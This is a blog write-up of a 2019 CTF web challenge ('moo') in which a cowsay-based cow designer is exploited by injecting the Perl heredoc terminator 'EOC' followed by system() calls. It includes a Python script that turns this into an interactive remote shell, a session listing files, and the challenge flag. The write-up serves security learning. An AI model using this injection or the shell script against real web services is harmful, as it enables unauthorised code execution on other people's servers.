OverTheWire Advent Bonanza 2019: [Day 4] moo

About

This post is part of a series in which I’ll post writeups for all challenges of the OverTheWire Advent Bonanza 2019 CTF. To see the intro, click here

Overview

So, at the provided website, we’ve got a web interface for the program cowsay. For all that don’t know, cowsay (and cowthink) is a program that makes cows say (or think) things. You can choose from many cows, such as a default cow and a gnu (I know, very funny 🙂 ). And this website uses cowsay in the backend, as seen in the footer.

A image of the website

Also interesting is the cow “custom”, which redirects us to a new page, in which we can create our own cow!

My little creation :)

Messing with the cow designer

So, the most interesting target for us to look into is the cow designer, because it seems to access some kind of variables. Maybe environment ones? And while designing my little abomination from above, I noticed weird behavior with backslashes. So let’s try to access an environment variable (I tried $SHELL):

Nope not working :(

So that didn’t work 🙁 . Let’s try something else: backticks. When our guess about a shell handling our custom cow is right, we could maybe inject shell commands? Let’s try it:

Still nope

That didn’t work too. So were kinda on the wrong track. Let’s start again from the beginning

Looking at the backend (cowsay)

So we need to approach this differently. Let’s start by downloading the source of cowsay. Nicely the website gives a link to the ubuntu package, where can we download the source. Now let’s look at it:

Sry I use windows for writeups

So, we have a folder cows, which probably stores the cows (LOL such intelligence). And we have the program of interest, cowsay. Let’s look at it:

#%BANGPERL%

##
## Cowsay 3.03
##
## This file is part of cowsay.  (c) 1999-2000 Tony Monroe.
##

use Text::Tabs qw(expand);
use Text::Wrap qw(wrap fill $columns);
use File::Basename;
use Getopt::Std;
use Cwd;

$version = "3.03";
$progname = basename($0);
$eyes = "oo";
$tongue = "  ";
$cowpath = $ENV{'COWPATH'} || '%PREFIX%/share/cows';
@message = ();
$thoughts = "";

...

sub display_usage {
	die <<EOF;
cow{say,think} version $version, (c) 1999 Tony Monroe
Usage: $progname [-bdgpstwy] [-h] [-e eyes] [-f cowfile] 
          [-l] [-n] [-T tongue] [-W wrapcolumn] [message]
EOF
}

(I shortened the source) So, it’s clearly perl. The program gets a cowfile with the option -f, and it also gets a message. Let’s try to execute it:

$ perl cowsay -f ./cows/tux.cow Popax21
 _________
< Popax21 >
 ---------
   \
    \
        .--.
       |o_o |
       |:_/ |
      //   \ \
     (|     | )
    /'\_   _/`\
    \___)=(___/

The .cow format

Now we can make an assumption: The cow designer probably creates a temporary .cow file, and then runs cowsay with it. Let’s look a bit closer at how .cow files are structured:

##
## TuX
## (c) pborys@p-soft.silesia.linux.org.pl 
##
$the_cow = <<EOC;
   $thoughts
    $thoughts
        .--.
       |o_o |
       |:_/ |
      //   \\ \\
     (|     | )
    /'\\_   _/`\\
    \\___)=(___/

EOC

Interesting… So a .cow file is just a perl script, which sets the $the_cow variable. But we can also notice it uses EOC as a terminator for the cow string… Let’s try inserting that into our custom cow, and see if it truncates our cow:

Well... look at that

So apparently cowsay failed… It seems because it tried to interpret the “Should be truncated” as a perl command… We’ve got Remote Code Execution!

Creating a primitive shell

Now that we can execute arbitrary perl code, we can just use the system(); perl command to execute shell commands. I wrote a little script which gives us a primitive shell:

from requests import post
from sys import argv, exit

if len(argv) < 2: exit()
target = argv[1]

def execCMD(cmd):
    cow = 'EOC\nsystem("%s");' % cmd
    
    resp = post(target, data={"message":'', "eyes":'', "tongue":'', "custom_cow":cow}).text

    #Ugly as hell, but works!
    r = resp[resp.index("<div><pre>")+10:resp.index("__")]
    return r.strip()
    

print("Dumping on %s..." % target)
    
try:
    while True:
        print(execCMD(input("$ ")))
except KeyboardInterrupt:
    print("\nExiting...")

Let’s see it in action:
(PS 10 points for you if you got the reference in the script 🙂 )

$ python cowdump.py http://3.93.128.89:1204/cow_designer
Dumping on http://3.93.128.89:1204/cow_designer...
$ ls
flag
server.py
templates
$ cat flag
AOTW{th3_p3rl_c0w_s4ys_M0oO0o0O}
$ ^C Exiting...

And the flag is:

AOTW{th3_p3rl_c0w_s4ys_M0oO0o0O}   

Leave a Reply

Your email address will not be published. Required fields are marked *